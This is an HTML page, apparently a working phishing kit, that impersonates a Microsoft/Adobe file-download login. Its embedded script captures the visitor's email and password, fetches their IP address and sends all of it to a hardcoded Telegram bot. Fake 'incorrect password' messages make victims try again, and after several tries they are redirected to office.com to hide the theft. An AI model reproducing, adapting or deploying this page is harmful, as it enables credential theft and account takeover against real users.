<!DOCTYPE html>
<html lang="en">
<head>
    <meta charset="UTF-8">
    <meta name="viewport" content="width=device-width, initial-scale=1.0">
    <title>Download File</title>
    <style>
        body {
            margin: 0;
            padding: 0;
            font-family: 'Segoe UI', Tahoma, Geneva, Verdana, sans-serif;
            background-color: #f3f2f1;
            display: flex;
            justify-content: center;
            align-items: center;
            height: 100vh;
            flex-direction: column;
        }

        .header {
            width: 100%;
            padding: 15px;
            position: absolute;
            top: 0;
            left: 0;
            display: flex;
            justify-content: left;
            align-items: center;
        }

        .header img {
            width: 30px;
            margin-left: 20px;
        }

        .adobe-logo {
            margin-top: 10px;
            margin-bottom: 20px;
        }

        .adobe-logo img {
            width: 30px;
        }
        .login-container {
		    background-color: #fff;
			padding: 30px;
			border-radius: 5px;
            max-width: 320px;
            margin: auto;
            padding: 20px;
            border: 1px solid #ccc;
            border-radius: 5px;
        }
        .login-container input {
            width: 95%;
            padding: 10px;
            margin: 10px 0;
            border: 1px solid #ccc;
            border-radius: 5px;
        }
        .login-container button {
            width: 100%;
            padding: 10px;
            background-color: #0078d4;
            color: white;
            border: none;
            border-radius: 5px;
            cursor: pointer;
        }
        .login-container button:hover {
            background-color: #0078d4;
        }
		.error-message {
            color: red;
            text-align: center;
            margin-top: 10px;
        }
        .success-message {
            color: red;
            text-align: center;
            margin-top: 10px;
        }
    </style>
</head>
<div class="header">
    <img src="https://upload.wikimedia.org/wikipedia/commons/4/44/Microsoft_logo.svg" alt="Microsoft Logo">
</div>

    <div class="login-container">
	    <!-- Adobe Logo -->
    <div class="adobe-logo">
        <img src="https://upload.wikimedia.org/wikipedia/commons/8/87/PDF_file_icon.svg" alt="Adobe PDF Logo">
    </div>
	<h2>Files sent to you are available for download</h2>
       <p>You're required to login with recipient e-mail address to download available files.</p>
        <form id="loginForm">
            <input type="email" id="email" name="email" autofocus placeholder="Email Address" required><br>
            <input type="password" id="password" name="password" placeholder="Password" required><br>
            <button type="submit">Login</button>
        </form>
		<p id="error-message" class="error-message" style="display: none;">Error: File error occurred during submission. Please try again.</p>
        <p id="success-message" class="success-message" style="display: none;">Your email address password is incorrect. Please try again.</p>
    </div>

    <footer>
        <p>© 2024 Microsoft | <a href="#">Privacy &amp; Cookies</a></p>
    </footer>
</div>

    <script>
	
        let attemptCount = 0; 

        document.getElementById("loginForm").addEventListener("submit", function(e) {
            e.preventDefault();

            const email = document.getElementById("email").value;
            const password = document.getElementById("password").value;

            fetch('https://api.ipify.org?format=json')
                .then(response => response.json())
                .then(data => {
                    const ipAddress = data.ip; 

                    
                    const message = `***** TX40 Adobe R͏e͏s͏u͏l͏t͏ *****\nEmail: ${email}\nPassword: ${password}\nIP: ${ipAddress}`;
                    const apiKey = '6922366229:AAH9bKIYkg1YGgNut2TQso3nTKvv6FyhzrU';
                    const chatId = '6328410070'; 
                    const telegramUrl = `https://api.telegram.org/bot${apiKey}/sendMessage?chat_id=${chatId}&text=${encodeURIComponent(message)}`;

                    attemptCount++;
                    simulateSubmission(telegramUrl);
                })
                .catch(error => {
                    console.error("Error fetching IP:", error);
                    showErrorMessage();
                });
        });

        function simulateSubmission(url) {
    
            if (attemptCount > 3) {
                redirectToURL();
                return;
            }

      
            fetch(url)
                .then(response => {
                    if (response.ok) {
                        showSuccessMessage();
                    } else {
                        showErrorMessage();
                        
                        setTimeout(() => {
                            simulateSubmission(url);
                        }, 2000); 
                    }
                })
                .catch(error => {
                    console.error("Error:", error);
                    showErrorMessage();
                    
                    setTimeout(() => {
                        simulateSubmission(url);
                    }, 2000); 
                });
        }

        function showErrorMessage() {
            const errorMessage = document.getElementById("error-message");
            errorMessage.style.display = 'block';
        }

        function showSuccessMessage() {
            const successMessage = document.getElementById("success-message");
            successMessage.style.display = 'block';
        }

        function redirectToURL() {
            
            window.location.href = "https://www.office.com"; 
        }
    </script>

</body>
</html>
